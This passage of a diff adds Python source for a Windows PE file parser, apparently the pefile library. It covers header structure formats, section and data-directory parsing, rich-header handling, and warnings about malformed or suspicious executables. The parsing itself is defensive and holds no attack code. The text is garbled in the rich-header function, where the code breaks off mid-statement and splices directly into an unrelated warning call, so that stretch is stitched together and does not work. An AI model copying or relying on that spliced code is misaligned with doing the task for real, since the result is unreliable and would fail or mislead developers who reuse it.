"I,VirtualMemoryThreshold", + "I,ProcessHeapFlags", + "I,ProcessAffinityMask", + "H,CSDVersion", + "H,Reserved1", + "I,EditList", + "I,SecurityCookie", + "I,SEHandlerTable", + "I,SEHandlerCount", + "I,GuardCFCheckFunctionPointer", + "I,Reserved2", + "I,GuardCFFunctionTable", + "I,GuardCFFunctionCount", + "I,GuardFlags", + ), + ) + + __IMAGE_LOAD_CONFIG_DIRECTORY64_format__ = ( + "IMAGE_LOAD_CONFIG_DIRECTORY", + ( + "I,Size", + "I,TimeDateStamp", + "H,MajorVersion", + "H,MinorVersion", + "I,GlobalFlagsClear", + "I,GlobalFlagsSet", + "I,CriticalSectionDefaultTimeout", + "Q,DeCommitFreeBlockThreshold", + "Q,DeCommitTotalFreeThreshold", + "Q,LockPrefixTable", + "Q,MaximumAllocationSize", + "Q,VirtualMemoryThreshold", + "Q,ProcessAffinityMask", + "I,ProcessHeapFlags", + "H,CSDVersion", + "H,Reserved1", + "Q,EditList", + "Q,SecurityCookie", + "Q,SEHandlerTable", + "Q,SEHandlerCount", + "Q,GuardCFCheckFunctionPointer", + "Q,Reserved2", + "Q,GuardCFFunctionTable", + "Q,GuardCFFunctionCount", + "I,GuardFlags", + ), + ) + + __IMAGE_BOUND_IMPORT_DESCRIPTOR_format__ = ( + "IMAGE_BOUND_IMPORT_DESCRIPTOR", + ("I,TimeDateStamp", "H,OffsetModuleName", "H,NumberOfModuleForwarderRefs"), + ) + + __IMAGE_BOUND_FORWARDER_REF_format__ = ( + "IMAGE_BOUND_FORWARDER_REF", + ("I,TimeDateStamp", "H,OffsetModuleName", "H,Reserved"), + ) + + __RUNTIME_FUNCTION_format__ = ( + "RUNTIME_FUNCTION", + ("I,BeginAddress", "I,EndAddress", "I,UnwindData"), + ) + + def __init__( + self, + name=None, + data=None, + fast_load=None, + max_symbol_exports=MAX_SYMBOL_EXPORT_COUNT, + max_repeated_symbol=120, + ): + + self.max_symbol_exports = max_symbol_exports + self.max_repeated_symbol = max_repeated_symbol + + self._get_section_by_rva_last_used = None + + self.sections = [] + + self.__warnings = [] + + self.PE_TYPE = None + + if name is None and data is None: + raise ValueError("Must supply either name or data") + + # This list will keep track of all the structures created. + # That will allow for an easy iteration through the list + # in order to save the modifications made + self.__structures__ = [] + self.__from_file = None + + # We only want to print these warnings once + self.FileAlignment_Warning = False + self.SectionAlignment_Warning = False + + # Count of total resource entries across nested tables + self.__total_resource_entries_count = 0 + # Sum of the size of all resource entries parsed, which should not + # exceed the file size. + self.__total_resource_bytes = 0 + # The number of imports parsed in this file + self.__total_import_symbols = 0 + + fast_load = fast_load if fast_load is not None else globals()["fast_load"] + try: + self.__parse__(name, data, fast_load) + except: + self.close() + raise + + def __enter__(self): + return self + + def __exit__(self, type, value, traceback): + self.close() + + def close(self): + if ( + self.__from_file is True + and hasattr(self, "__data__") + and ( + (isinstance(mmap.mmap, type) and isinstance(self.__data__, mmap.mmap)) + or "mmap.mmap" in repr(type(self.__data__)) + ) + ): + self.__data__.close() + del self.__data__ + + def __unpack_data__(self, format, data, file_offset): + """Apply structure format to raw data. + + Returns an unpacked structure object if successful, None otherwise. + """ + + structure = Structure(format, file_offset=file_offset) + + try: + structure.__unpack__(data) + except PEFormatError as err: + self.__warnings.append( + 'Corrupt header "{0}" at file offset {1}. Exception: {2}'.format( + format[0], file_offset, err + ) + ) + return None + + self.__structures__.append(structure) + + return structure + + def __parse__(self, fname, data, fast_load): + """Parse a Portable Executable file. + + Loads a PE file, parsing all its structures and making them available + through the instance's attributes. + """ + + if fname is not None: + stat = os.stat(fname) + if stat.st_size == 0: + raise PEFormatError("The file is empty") + fd = None + try: + fd = open(fname, "rb") + self.fileno = fd.fileno() + if hasattr(mmap, "MAP_PRIVATE"): + # Unix + self.__data__ = mmap.mmap(self.fileno, 0, mmap.MAP_PRIVATE) + else: + # Windows + self.__data__ = mmap.mmap(self.fileno, 0, access=mmap.ACCESS_READ) + self.__from_file = True + except IOError as excp: + exception_msg = "{0}".format(excp) + exception_msg = exception_msg and (": %s" % exception_msg) + raise Exception( + "Unable to access file '{0}'{1}".format(fname, exception_msg) + ) + finally: + if fd is not None: + fd.close() + elif data is not None: + self.__data__ = data + self.__from_file = False + + # Resources should not overlap each other, so they should not exceed the + # file size. + self.__resource_size_limit_upperbounds = len(self.__data__) + self.__resource_size_limit_reached = False + + if not fast_load: + for byte, byte_count in Counter(bytearray(self.__data__)).items(): + # Only report the cases where a byte makes up for more than 50% (if + # zero) or 15% (if non-zero) of the file's contents. There are + # legitimate PEs where 0x00 bytes are close to 50% of the whole + # file's contents. + if (byte == 0 and 1.0 * byte_count / len(self.__data__) > 0.5) or ( + byte != 0 and 1.0 * byte_count / len(self.__data__) > 0.15 + ): + self.__warnings.append( + ( + "Byte 0x{0:02x} makes up {1:.4f}% of the file's contents." + " This may indicate truncation / malformation." + ).format(byte, 100.0 * byte_count / len(self.__data__)) + ) + + dos_header_data = self.__data__[:64] + if len(dos_header_data) != 64: + raise PEFormatError( + "Unable to read the DOS Header, possibly a truncated file." + ) + + self.DOS_HEADER = self.__unpack_data__( + self.__IMAGE_DOS_HEADER_format__, dos_header_data, file_offset=0 + ) + + if self.DOS_HEADER.e_magic == IMAGE_DOSZM_SIGNATURE: + raise PEFormatError("Probably a ZM Executable (not a PE file).") + if not self.DOS_HEADER or self.DOS_HEADER.e_magic != IMAGE_DOS_SIGNATURE: + raise PEFormatError("DOS Header magic not found.") + + # OC Patch: + # Check for sane value in e_lfanew + # + if self.DOS_HEADER.e_lfanew > len(self.__data__): + raise PEFormatError("Invalid e_lfanew value, probably not a PE file") + + nt_headers_offset = self.DOS_HEADER.e_lfanew + + self.NT_HEADERS = self.__unpack_data__( + self.__IMAGE_NT_HEADERS_format__, + self.__data__[nt_headers_offset : nt_headers_offset + 8], + file_offset=nt_headers_offset, + ) + + # We better check the signature right here, before the file screws + # around with sections: + # OC Patch: + # Some malware will cause the Signature value to not exist at all + if not self.NT_HEADERS or not self.NT_HEADERS.Signature: + raise PEFormatError("NT Headers not found.") + + if (0xFFFF & self.NT_HEADERS.Signature) == IMAGE_NE_SIGNATURE: + raise PEFormatError("Invalid NT Headers signature. Probably a NE file") + if (0xFFFF & self.NT_HEADERS.Signature) == IMAGE_LE_SIGNATURE: + raise PEFormatError("Invalid NT Headers signature. Probably a LE file") + if (0xFFFF & self.NT_HEADERS.Signature) == IMAGE_LX_SIGNATURE: + raise PEFormatError("Invalid NT Headers signature. Probably a LX file") + if (0xFFFF & self.NT_HEADERS.Signature) == IMAGE_TE_SIGNATURE: + raise PEFormatError("Invalid NT Headers signature. Probably a TE file") + if self.NT_HEADERS.Signature != IMAGE_NT_SIGNATURE: + raise PEFormatError("Invalid NT Headers signature.") + + self.FILE_HEADER = self.__unpack_data__( + self.__IMAGE_FILE_HEADER_format__, + self.__data__[nt_headers_offset + 4 : nt_headers_offset + 4 + 32], + file_offset=nt_headers_offset + 4, + ) + image_flags = retrieve_flags(IMAGE_CHARACTERISTICS, "IMAGE_FILE_") + + if not self.FILE_HEADER: + raise PEFormatError("File Header missing") + + # Set the image's flags according the the Characteristics member + set_flags(self.FILE_HEADER, self.FILE_HEADER.Characteristics, image_flags) + + optional_header_offset = nt_headers_offset + 4 + self.FILE_HEADER.sizeof() + + # Note: location of sections can be controlled from PE header: + sections_offset = optional_header_offset + self.FILE_HEADER.SizeOfOptionalHeader + + self.OPTIONAL_HEADER = self.__unpack_data__( + self.__IMAGE_OPTIONAL_HEADER_format__, + # Read up to 256 bytes to allow creating a copy of too much data + self.__data__[optional_header_offset : optional_header_offset + 256], + file_offset=optional_header_offset, + ) + + # According to solardesigner's findings for his + # Tiny PE project, the optional header does not + # need fields beyond "Subsystem" in order to be + # loadable by the Windows loader (given that zeros + # are acceptable values and the header is loaded + # in a zeroed memory page) + # If trying to parse a full Optional Header fails + # we try to parse it again with some 0 padding + # + MINIMUM_VALID_OPTIONAL_HEADER_RAW_SIZE = 69 + + if ( + self.OPTIONAL_HEADER is None + and len( + self.__data__[optional_header_offset : optional_header_offset + 0x200] + ) + >= MINIMUM_VALID_OPTIONAL_HEADER_RAW_SIZE + ): + + # Add enough zeros to make up for the unused fields + # + padding_length = 128 + + # Create padding + # + padded_data = self.__data__[ + optional_header_offset : optional_header_offset + 0x200 + ] + (b"\0" * padding_length) + + self.OPTIONAL_HEADER = self.__unpack_data__( + self.__IMAGE_OPTIONAL_HEADER_format__, + padded_data, + file_offset=optional_header_offset, + ) + + # Check the Magic in the OPTIONAL_HEADER and set the PE file + # type accordingly + # + if self.OPTIONAL_HEADER is not None: + + if self.OPTIONAL_HEADER.Magic == OPTIONAL_HEADER_MAGIC_PE: + + self.PE_TYPE = OPTIONAL_HEADER_MAGIC_PE + + elif self.OPTIONAL_HEADER.Magic == OPTIONAL_HEADER_MAGIC_PE_PLUS: + + self.PE_TYPE = OPTIONAL_HEADER_MAGIC_PE_PLUS + + self.OPTIONAL_HEADER = self.__unpack_data__( + self.__IMAGE_OPTIONAL_HEADER64_format__, + self.__data__[ + optional_header_offset : optional_header_offset + 0x200 + ], + file_offset=optional_header_offset, + ) + + # Again, as explained above, we try to parse + # a reduced form of the Optional Header which + # is still valid despite not including all + # structure members + # + MINIMUM_VALID_OPTIONAL_HEADER_RAW_SIZE = 69 + 4 + + if ( + self.OPTIONAL_HEADER is None + and len( + self.__data__[ + optional_header_offset : optional_header_offset + 0x200 + ] + ) + >= MINIMUM_VALID_OPTIONAL_HEADER_RAW_SIZE + ): + + padding_length = 128 + padded_data = self.__data__[ + optional_header_offset : optional_header_offset + 0x200 + ] + (b"\0" * padding_length) + self.OPTIONAL_HEADER = self.__unpack_data__( + self.__IMAGE_OPTIONAL_HEADER64_format__, + padded_data, + file_offset=optional_header_offset, + ) + + if not self.FILE_HEADER: + raise PEFormatError("File Header missing") + + # OC Patch: + # Die gracefully if there is no OPTIONAL_HEADER field + # 975440f5ad5e2e4a92c4d9a5f22f75c1 + if self.OPTIONAL_HEADER is None: + raise PEFormatError("No Optional Header found, invalid PE32 or PE32+ file.") + if self.PE_TYPE is None: + self.__warnings.append( + "Invalid type 0x{0:04x} in Optional Header.".format( + self.OPTIONAL_HEADER.Magic + ) + ) + + dll_characteristics_flags = retrieve_flags( + DLL_CHARACTERISTICS, "IMAGE_DLLCHARACTERISTICS_" + ) + + # Set the Dll Characteristics flags according the the DllCharacteristics member + set_flags( + self.OPTIONAL_HEADER, + self.OPTIONAL_HEADER.DllCharacteristics, + dll_characteristics_flags, + ) + + self.OPTIONAL_HEADER.DATA_DIRECTORY = [] + # offset = (optional_header_offset + self.FILE_HEADER.SizeOfOptionalHeader) + offset = optional_header_offset + self.OPTIONAL_HEADER.sizeof() + + self.NT_HEADERS.FILE_HEADER = self.FILE_HEADER + self.NT_HEADERS.OPTIONAL_HEADER = self.OPTIONAL_HEADER + + # Windows 8 specific check + # + if ( + self.OPTIONAL_HEADER.AddressOfEntryPoint + < self.OPTIONAL_HEADER.SizeOfHeaders + ): + self.__warnings.append( + "SizeOfHeaders is smaller than AddressOfEntryPoint: this file " + "cannot run under Windows 8." + ) + + # The NumberOfRvaAndSizes is sanitized to stay within + # reasonable limits so can be casted to an int + # + if self.OPTIONAL_HEADER.NumberOfRvaAndSizes > 0x10: + self.__warnings.append( + "Suspicious NumberOfRvaAndSizes in the Optional Header. " + "Normal values are never larger than 0x10, the value is: 0x%x" + % self.OPTIONAL_HEADER.NumberOfRvaAndSizes + ) + + MAX_ASSUMED_VALID_NUMBER_OF_RVA_AND_SIZES = 0x100 + for i in range(int(0x7FFFFFFF & self.OPTIONAL_HEADER.NumberOfRvaAndSizes)): + + if len(self.__data__) - offset == 0: + break + + if len(self.__data__) - offset < 8: + data = self.__data__[offset:] + b"\0" * 8 + else: + data = self.__data__[ + offset : offset + MAX_ASSUMED_VALID_NUMBER_OF_RVA_AND_SIZES + ] + + dir_entry = self.__unpack_data__( + self.__IMAGE_DATA_DIRECTORY_format__, data, file_offset=offset + ) + + if dir_entry is None: + break + + # Would fail if missing an entry + # 1d4937b2fa4d84ad1bce0309857e70ca offending sample + try: + dir_entry.name = DIRECTORY_ENTRY[i] + except (KeyError, AttributeError): + break + + offset += dir_entry.sizeof() + + self.OPTIONAL_HEADER.DATA_DIRECTORY.append(dir_entry) + + # If the offset goes outside the optional header, + # the loop is broken, regardless of how many directories + # NumberOfRvaAndSizes says there are + # + # We assume a normally sized optional header, hence that we do + # a sizeof() instead of reading SizeOfOptionalHeader. + # Then we add a default number of directories times their size, + # if we go beyond that, we assume the number of directories + # is wrong and stop processing + if offset >= ( + optional_header_offset + self.OPTIONAL_HEADER.sizeof() + 8 * 16 + ): + + break + + offset = self.parse_sections(sections_offset) + + # OC Patch: + # There could be a problem if there are no raw data sections + # greater than 0 + # fc91013eb72529da005110a3403541b6 example + # Should this throw an exception in the minimum header offset + # can't be found? + # + rawDataPointers = [ + self.adjust_FileAlignment( + s.PointerToRawData, self.OPTIONAL_HEADER.FileAlignment + ) + for s in self.sections + if s.PointerToRawData > 0 + ] + + if len(rawDataPointers) > 0: + lowest_section_offset = min(rawDataPointers) + else: + lowest_section_offset = None + + if not lowest_section_offset or lowest_section_offset < offset: + self.header = self.__data__[:offset] + else: + self.header = self.__data__[:lowest_section_offset] + + # Check whether the entry point lies within a section + # + if ( + self.get_section_by_rva(self.OPTIONAL_HEADER.AddressOfEntryPoint) + is not None + ): + + # Check whether the entry point lies within the file + # + ep_offset = self.get_offset_from_rva( + self.OPTIONAL_HEADER.AddressOfEntryPoint + ) + if ep_offset > len(self.__data__): + + self.__warnings.append( + "Possibly corrupt file. AddressOfEntryPoint lies outside the" + " file. AddressOfEntryPoint: 0x%x" + % self.OPTIONAL_HEADER.AddressOfEntryPoint + ) + + else: + + self.__warnings.append( + "AddressOfEntryPoint lies outside the sections' boundaries. " + "AddressOfEntryPoint: 0x%x" % self.OPTIONAL_HEADER.AddressOfEntryPoint + ) + + if not fast_load: + self.full_load() + + def parse_rich_header(self): + """Parses the rich header + see http://www.ntcore.com/files/richsign.htm for more information + + Structure: + 00 DanS ^ checksum, checksum, checksum, checksum + 10 Symbol RVA ^ checksum, Symbol size ^ checksum... + ... + XX Rich, checksum, 0, 0,... + """ + + # Rich Header constants + # + DANS = 0x536E6144 # 'DanS' as dword + RICH = 0x68636952 # 'Rich' as dword + + rich_index = self.__data__.find( + b"Rich", 0x80, self.OPTIONAL_HEADER.get_file_offset() + ) + if rich_index == -1: + return None + + # Read a block of data + try: + # The end of the structure is 8 bytes after the start of the Rich + # string. + rich_data = self.__data__[0x80 : rich_index + 8] + # Make the data have length a multiple of 4, otherwise the + # subsequent parsing will fail. It's not impossible that we retrieve + # truncated data that it's not a multiple. + rich_data = rich_data[: 4 * int(len(rich_data) / 4)] + data = list( + struct.unpack("<{0}I".format(int(len(rich_data) / 4)), rich_data) + ) + if RICH not in data: + return None + except PEFormatError: + return None + + # get key, raw_data and clear_data + key = struct.pack("", warning) + + def full_load(self): + """Process the data directories. + + This method will load the data directories which might not have + been loaded if the "fast_load" option was used. + """ + + self.parse_data_directories() + + class RichHeader: + pass + + rich_header = self.parse_rich_header() + if rich_header: + self.RICH_HEADER = RichHeader() + self.RICH_HEADER.checksum = rich_header.get("checksum", None) + self.RICH_HEADER.values = rich_header.get("values", None) + self.RICH_HEADER.key = rich_header.get("key", None) + self.RICH_HEADER.raw_data = rich_header.get("raw_data", None) + self.RICH_HEADER.clear_data = rich_header.get("clear_data", None) + else: + self.RICH_HEADER = None + + def write(self, filename=None): + """Write the PE file. + + This function will process all headers and components + of the PE file and include all changes made (by just + assigning to attributes in the PE objects) and write + the changes back to a file whose name is provided as + an argument. The filename is optional, if not + provided the data will be returned as a 'str' object. + """ + + file_data = bytearray(self.__data__) + + for structure in self.__structures__: + struct_data = bytearray(structure.__pack__()) + offset = structure.get_file_offset() + file_data[offset : offset + len(struct_data)] = struct_data + + if hasattr(self, "VS_VERSIONINFO"): + if hasattr(self, "FileInfo"): + for finfo in self.FileInfo: + for entry in finfo: + if hasattr(entry, "StringTable"): + for st_entry in entry.StringTable: + for key, entry in list(st_entry.entries.items()): + + # Offsets and lengths of the keys and values. + # Each value in the dictionary is a tuple: + # (key length, value length) + # The lengths are in characters, not in bytes. + offsets = st_entry.entries_offsets[key] + lengths = st_entry.entries_lengths[key] + + if len(entry) > lengths[1]: + l = entry.decode("utf-8").encode("utf-16le") + file_data[ + offsets[1] : offsets[1] + lengths[1] * 2 + ] = l[: lengths[1] * 2] + else: + encoded_data = entry.decode("utf-8").encode( + "utf-16le" + ) + file_data[ + offsets[1] : offsets[1] + len(encoded_data) + ] = encoded_data + + new_file_data = file_data + if not filename: + return new_file_data + + f = open(filename, "wb+") + f.write(new_file_data) + f.close() + return + + def parse_sections(self, offset): + """Fetch the PE file sections. + + The sections will be readily available in the "sections" attribute. + Its attributes will contain all the section information plus "data" + a buffer containing the section's data. + + The "Characteristics" member will be processed and attributes + representing the section characteristics (with the 'IMAGE_SCN_' + string trimmed from the constant's names) will be added to the + section instance. + + Refer to the SectionStructure class for additional info. + """ + + self.sections = [] + MAX_SIMULTANEOUS_ERRORS = 3 + for i in range(self.FILE_HEADER.NumberOfSections): + if i >= MAX_SECTIONS: + self.__warnings.append( + "Too many sections {0} (>={1})".format( + self.FILE_HEADER.NumberOfSections, MAX_SECTIONS + ) + ) + break + simultaneous_errors = 0 + section = SectionStructure(self.__IMAGE_SECTION_HEADER_format__, pe=self) + if not section: + break + section_offset = offset + section.sizeof() * i + section.set_file_offset(section_offset) + section_data = self.__data__[ + section_offset : section_offset + section.sizeof() + ] + # Check if the section is all nulls and stop if so. + if count_zeroes(section_data) == section.sizeof(): + self.__warnings.append(f"Invalid section {i}. Contents are null-bytes.") + break + if not section_data: + self.__warnings.append( + f"Invalid section {i}. No data in the file (is this corkami's " + "virtsectblXP?)." + ) + break + section.__unpack__(section_data) + self.__structures__.append(section) + + if section.SizeOfRawData + section.PointerToRawData > len(self.__data__): + simultaneous_errors += 1 + self.__warnings.append( + f"Error parsing section {i}. SizeOfRawData is larger than file." + ) + + if self.adjust_FileAlignment( + section.PointerToRawData, self.OPTIONAL_HEADER.FileAlignment + ) > len(self.__data__): + simultaneous_errors += 1 + self.__warnings.append( + f"Error parsing section {i}. PointerToRawData points beyond " + "the end of the file." + ) + + if section.Misc_VirtualSize > 0x10000000: + simultaneous_errors += 1 + self.__warnings.append( + f"Suspicious value found parsing section {i}. VirtualSize is " + "extremely large > 256MiB." + ) + + if ( + self.adjust_SectionAlignment( + section.VirtualAddress, + self.OPTIONAL_HEADER.SectionAlignment, + self.OPTIONAL_HEADER.FileAlignment, + ) + > 0x10000000 + ): + simultaneous_errors += 1 + self.__warnings.append( + f"Suspicious value found parsing section {i}. VirtualAddress is " + "beyond 0x10000000." + ) + + if ( + self.OPTIONAL_HEADER.FileAlignment != 0 + and (section.PointerToRawData % self.OPTIONAL_HEADER.FileAlignment) != 0 + ): + simultaneous_errors += 1 + self.__warnings.append( + ( + f"Error parsing section {i}. " + "PointerToRawData should normally be " + "a multiple of FileAlignment, this might imply the file " + "is trying to confuse tools which parse this incorrectly." + ) + ) + + if simultaneous_errors >= MAX_SIMULTANEOUS_ERRORS: + self.__warnings.append("Too many warnings parsing section. Aborting.") + break + + section_flags = retrieve_flags(SECTION_CHARACTERISTICS, "IMAGE_SCN_") + + # Set the section's flags according the the Characteristics member + set_flags(section, section.Characteristics, section_flags) + + if section.__dict__.get( + "IMAGE_SCN_MEM_WRITE", False + ) and section.__dict__.get("IMAGE_SCN_MEM_EXECUTE", False): + + if section.Name.rstrip(b"\x00") == b"PAGE" and self.is_driver(): + # Drivers can have a PAGE section with those flags set without + # implying that it is malicious + pass + else: + self.__warnings.append( + f"Suspicious flags set for section {i}. " + "Both IMAGE_SCN_MEM_WRITE and IMAGE_SCN_MEM_EXECUTE are set. " + "This might indicate a packed executable." + ) + + self.sections.append(section) + + # Sort the sections by their VirtualAddress and add a field to each of them + # with the VirtualAddress of the next section. This will allow to check + # for potentially overlapping sections in badly constructed PEs. + self.sections.sort(key=lambda a: a.VirtualAddress) + for idx, section in enumerate(self.sections): + if idx == len(self.sections) - 1: + section.next_section_virtual_address = None + else: + section.next_section_virtual_address = self.sections[ + idx + 1 + ].VirtualAddress + + if self.FILE_HEADER.NumberOfSections > 0 and self.sections: + return ( + offset + self.sections[0].sizeof() * self.FILE_HEADER.NumberOfSections + ) + else: + return offset + + def parse_data_directories( + self, directories=None, forwarded_exports_only=False, import_dllnames_only=False + ): + """Parse and process the PE file's data directories. + + If the optional argument 'directories' is given, only + the directories at the specified indexes will be parsed. + Such functionality allows parsing of areas of interest + without the burden of having to parse all others. + The directories can then be specified as: + + For export / import only: + + directories = [ 0, 1 ] + + or (more verbosely): + + directories = [ DIRECTORY_ENTRY['IMAGE_DIRECTORY_ENTRY_IMPORT'], + DIRECTORY_ENTRY['IMAGE_DIRECTORY_ENTRY_EXPORT'] ] + + If 'directories' is a list, the ones that are processed will be removed, + leaving only the ones that are not present in the image. + + If `forwarded_exports_only` is True, the IMAGE_DIRECTORY_ENTRY_EXPORT + attribute will only contain exports that are forwarded to another DLL. + + If `import_dllnames_only` is True, symbols will not be parsed from + the import table and the entries in the IMAGE_DIRECTORY_ENTRY_IMPORT + attribute will not have a `symbols` attribute. + """ + + directory_parsing = ( + ("IMAGE_DIRECTORY_ENTRY_IMPORT", self.parse_import_directory), + ("IMAGE_DIRECTORY_ENTRY_EXPORT", self.parse_export_directory), + ("IMAGE_DIRECTORY_ENTRY_RESOURCE", self.parse_resources_directory), + ("IMAGE_DIRECTORY_ENTRY_DEBUG", self.parse_debug_directory), + ("IMAGE_DIRECTORY_ENTRY_BASERELOC", self.parse_relocations_directory), + ("IMAGE_DIRECTORY_ENTRY_TLS", self.parse_directory_tls), + ("IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG", self.parse_directory_load_config), + ("IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT", self.parse_delay_import_directory), + ("IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT", self.parse_directory_bound_imports), + ("IMAGE_DIRECTORY_ENTRY_EXCEPTION", self.parse_exceptions_directory), + ) + + if directories is not None: + if not isinstance(directories, (tuple, list)): + directories = [directories] + + for entry in directory_parsing: + # OC Patch: + # + try: + directory_index = DIRECTORY_ENTRY[entry[0]] + dir_entry = self.OPTIONAL_HEADER.DATA_DIRECTORY[directory_index] + except IndexError: + break + + # Only process all the directories if no individual ones have + # been chosen + # + if directories is None or directory_index in directories: + + value = None + if dir_entry.VirtualAddress: + if ( + forwarded_exports_only + and entry[0] == "IMAGE_DIRECTORY_ENTRY_EXPORT" + ): + value = entry[1]( + dir_entry.VirtualAddress, + dir_entry.Size, + forwarded_only=True, + ) + elif ( + import_dllnames_only + and entry[0] == "IMAGE_DIRECTORY_ENTRY_IMPORT" + ): + value = entry[1]( + dir_entry.VirtualAddress, dir_entry.Size, dllnames_only=True + ) + + else: + try: + value = entry[1](dir_entry.VirtualAddress, dir_entry.Size) + except PEFormatError as excp: + self.__warnings.append( + f'Failed to process directoty "{entry[0]}": {excp}' + ) + if value: + setattr(self, entry[0][6:], value) + + if ( + (directories is not None) + and isinstance(directories, list) + and (entry[0] in directories) + ): + directories.remove(directory_index) + + def parse_exceptions_directory(self, rva, size): + """Parses exception directory + + All the code related to handling exception directories is documented in + https://auscitte.github.io/systems%20blog/Exception-Directory-pefile#implementation-details + """ + + # "For x64 and Itanium platforms; the format is different for other platforms" + if ( + self.FILE_HEADER.Machine != MACHINE_TYPE["IMAGE_FILE_MACHINE_AMD64"] + and self.FILE_HEADER.Machine != MACHINE_TYPE["IMAGE_FILE_MACHINE_IA64"] + ): + return None + + rf = Structure(self.__RUNTIME_FUNCTION_format__) + rf_size = rf.sizeof() + rva2rt = {} + rt_funcs = [] + rva2infos = {} + for _ in range(size // rf_size): + rf = self.__unpack_data__( + self.__RUNTIME_FUNCTION_format__, + self.get_data(rva, rf_size), + file_offset=self.get_offset_from_rva(rva), + ) + + if rf is None: + break + + ui = None + + if (rf.UnwindData & 0x1) == 0: + # according to "Improving Automated Analysis of Windows x64 Binaries", + # if the lowest bit is set, (UnwindData & ~0x1) should point to the + # chained RUNTIME_FUNCTION instead of UNWIND_INFO + + if ( + rf.UnwindData in rva2infos + ): # unwind info data structures can be shared among functions + ui = rva2infos[rf.UnwindData] + else: + ui = UnwindInfo(file_offset=self.get_offset_from_rva(rf.UnwindData)) + rva2infos[rf.UnwindData] = ui + + ws = ui.unpack_in_stages(self.get_data(rf.UnwindData, ui.sizeof())) + if ws != None: + self.__warnings.append(ws) + break + ws = ui.unpack_in_stages(self.get_data(rf.UnwindData, ui.sizeof())) + if ws != None: + self.__warnings.append(ws) + break + + self.__structures__.append(ui) + + entry = ExceptionsDirEntryData(struct=rf, unwindinfo=ui) + rt_funcs.append(entry) + + rva2rt[rf.BeginAddress] = entry + rva += rf_size + + # each chained function entry holds a reference to the function first in chain + for rf in rt_funcs: + if rf.unwindinfo is None: + # TODO: have not encountered such a binary yet; + # in theory, (UnwindData & ~0x1) should point to the chained + # RUNTIME_FUNCTION which could be used to locate the corresponding + # ExceptionsDirEntryData and set_chained_function_entry() + continue + if not hasattr(rf.unwindinfo, "FunctionEntry"): + continue + if not rf.unwindinfo.FunctionEntry in rva2rt: + self.__warnings.append( + f"FunctionEntry of UNWIND_INFO at {rf.struct.get_file_offset():x}" + " points to an entry that does not exist" + ) + continue + try: + rf.unwindinfo.set_chained_function_entry( + rva2rt[rf.unwindinfo.FunctionEntry] + ) + except PEFormatError as excp: + self.__warnings.append( + "Failed parsing FunctionEntry of UNWIND_INFO at " + f"{rf.struct.get_file_offset():x}: {excp}" + ) + continue + + return rt_funcs + + def parse_directory_bound_imports(self, rva, size): + """""" + + bnd_descr = Structure(self.__IMAGE_BOUND_IMPORT_DESCRIPTOR_format__) + bnd_descr_size = bnd_descr.sizeof() + start = rva + + bound_imports = [] + while True: + bnd_descr = self.__unpack_data__( + self.__IMAGE_BOUND_IMPORT_DESCRIPTOR_format__, + self.__data__[rva : rva + bnd_descr_size], + file_offset=rva, + ) + if bnd_descr is None: + # If can't parse directory then silently return. + # This directory does not necessarily have to be valid to + # still have a valid PE file + + self.__warnings.append( + "The Bound Imports directory exists but can't be parsed." + ) + + return + + if bnd_descr.all_zeroes(): + break + + rva += bnd_descr.sizeof() + + section = self.get_section_by_offset(rva) + file_offset = self.get_offset_from_rva(rva) + if section is None: + safety_boundary = len(self.__data__) - file_offset + sections_after_offset = [ + s.PointerToRawData + for s in self.sections + if s.PointerToRawData > file_offset + ] + if sections_after_offset: + # Find the first section starting at a later offset than that + # specified by 'rva' + first_section_after_offset = min(sections_after_offset) + section = self.get_section_by_offset(first_section_after_offset) + if section is not None: + safety_boundary = section.PointerToRawData - file_offset + else: + safety_boundary = ( + section.PointerToRawData + len(section.get_data()) - file_offset + ) + if not section: + self.__warnings.append( + ( + "RVA of IMAGE_BOUND_IMPORT_DESCRIPTOR points " + "to an invalid address: {0:x}" + ).format(rva) + ) + return + + forwarder_refs = [] + # 8 is the size of __IMAGE_BOUND_IMPORT_DESCRIPTOR_format__ + for _ in range( + min(bnd_descr.NumberOfModuleForwarderRefs, int(safety_boundary / 8)) + ): + # Both structures IMAGE_BOUND_IMPORT_DESCRIPTOR and + # IMAGE_BOUND_FORWARDER_REF have the same size. + bnd_frwd_ref = self.__unpack_data__( + self.__IMAGE_BOUND_FORWARDER_REF_format__, + self.__data__[rva : rva + bnd_descr_size], + file_offset=rva, + ) + # OC Patch: + if not bnd_frwd_ref: + raise PEFormatError("IMAGE_BOUND_FORWARDER_REF cannot be read") + rva += bnd_frwd_ref.sizeof() + + offset = start + bnd_frwd_ref.OffsetModuleName + name_str = self.get_string_from_data( + 0, self.__data__[offset : offset + MAX_STRING_LENGTH] + ) + + # OffsetModuleName points to a DLL name. These shouldn't be too long. + # Anything longer than a safety length of 128 will be taken to indicate + # a corrupt entry and abort the processing of these entries. + # Names shorter than 4 characters will be taken as invalid as well. + + if name_str: + invalid_chars = [ + c for c in bytearray(name_str) if chr(c) not in string.printable + ] + if len(name_str) > 256 or invalid_chars: + break + + forwarder_refs.append( + BoundImportRefData(struct=bnd_frwd_ref, name=name_str) + ) + + offset = start + bnd_descr.OffsetModuleName + name_str = self.get_string_from_data( + 0, self.__data__[offset : offset + MAX_STRING_LENGTH] + ) + + if name_str: + invalid_chars = [ + c for c in bytearray(name_str) if chr(c) not in string.printable + ] + if len(name_str) > 256 or invalid_chars: + break + + if not name_str: + break + bound_imports.append( + BoundImportDescData( + struct=bnd_descr, name=name_str, entries=forwarder_refs + ) + ) + + return bound_imports + + def parse_directory_tls(self, rva, size): + """""" + + # By default let's pretend the format is a 32-bit PE. It may help + # produce some output for files where the Magic in the Optional Header + # is incorrect. + format = self.__IMAGE_TLS_DIRECTORY_format__ + + if self.PE_TYPE == OPTIONAL_HEADER_MAGIC_PE_PLUS: + format = self.__IMAGE_TLS_DIRECTORY64_format__ + + try: + tls_struct = self.__unpack_data__( + format, + self.get_data(rva, Structure(format).sizeof()), + file_offset=self.get_offset_from_rva(rva), + ) + except PEFormatError: + self.__warnings.append( + "Invalid TLS information. Can't read " "data at RVA: 0x%x" % rva + ) + tls_struct = None + + if not tls_struct: + return None + + return TlsData(struct=tls_struct) + + def parse_directory_load_config(self, rva, size): + """""" + + if self.PE_TYPE == OPTIONAL_HEADER_MAGIC_PE: + format = self.__IMAGE_LOAD_CONFIG_DIRECTORY_format__ + elif self.PE_TYPE == OPTIONAL_HEADER_MAGIC_PE_PLUS: + format = 